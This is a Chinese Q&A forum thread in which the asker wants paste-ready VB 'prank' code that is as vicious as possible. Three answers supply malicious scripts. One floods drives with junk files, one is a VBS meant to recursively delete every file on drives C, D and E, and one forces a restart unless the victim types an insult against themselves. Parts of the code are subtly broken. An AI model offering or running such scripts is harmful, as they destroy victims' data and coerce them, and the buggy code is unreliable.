Question

求详细VB整人代码！

要一整段粘贴就能用的那种、、、不要 我是猪。的那种、、、、能有多狠就多狠、

Answer 1

Private Sub Form_Load()
Form1.Visible = False
For i = 1 To 20#
Open "c:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Random As 1
Open "d:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Random As 2
Open "e:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Random As 3

Close #1
Close #2
Close #3
Next
End Sub

执行后c,d,e会每个盘符下都有20个已经建立的文件,如果还有其他盘符
你自己在加个上去
清空硬盘很简单~直接del

Answer 2

Sub ss(ByVal Path)
On Error Resume Next
Dim fso As New FileSystemObject
Set fso = CreateObject("Scripting.FileSystemObject")

For Each f In fso.GetFolder(Path).Files
fso.DeleteFile fs
Next

For Each fs In fso.GetFolder(Path).SubFolders
Call ss(fs)
Next
End Sub

Call ss("C:")
Call ss("D:")
Call ss("E:")

以上代码，只要复制在记事本里，再另存为XXX.VBS就行了。
删除C，D，E盘所有文件。

Answer 3

on error resume next
　　dim WSHshellA
　　set WSHshellA = wscript.createobject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是脑残，不说我是脑残就一分钟关机，不信，试下···"" ",0 ,true
　　dim a
　　do while(a <> "我是脑残")
　　a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残""　","说不说","",8000,7000)
　　msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
　　loop
　　msgbox chr(13) + chr(13) + chr(13) + "早说你是脑残就行了嘛"
　　dim WSHshell
　　set WSHshell = wscript.createobject("wscript.shell")
　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true
　　msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"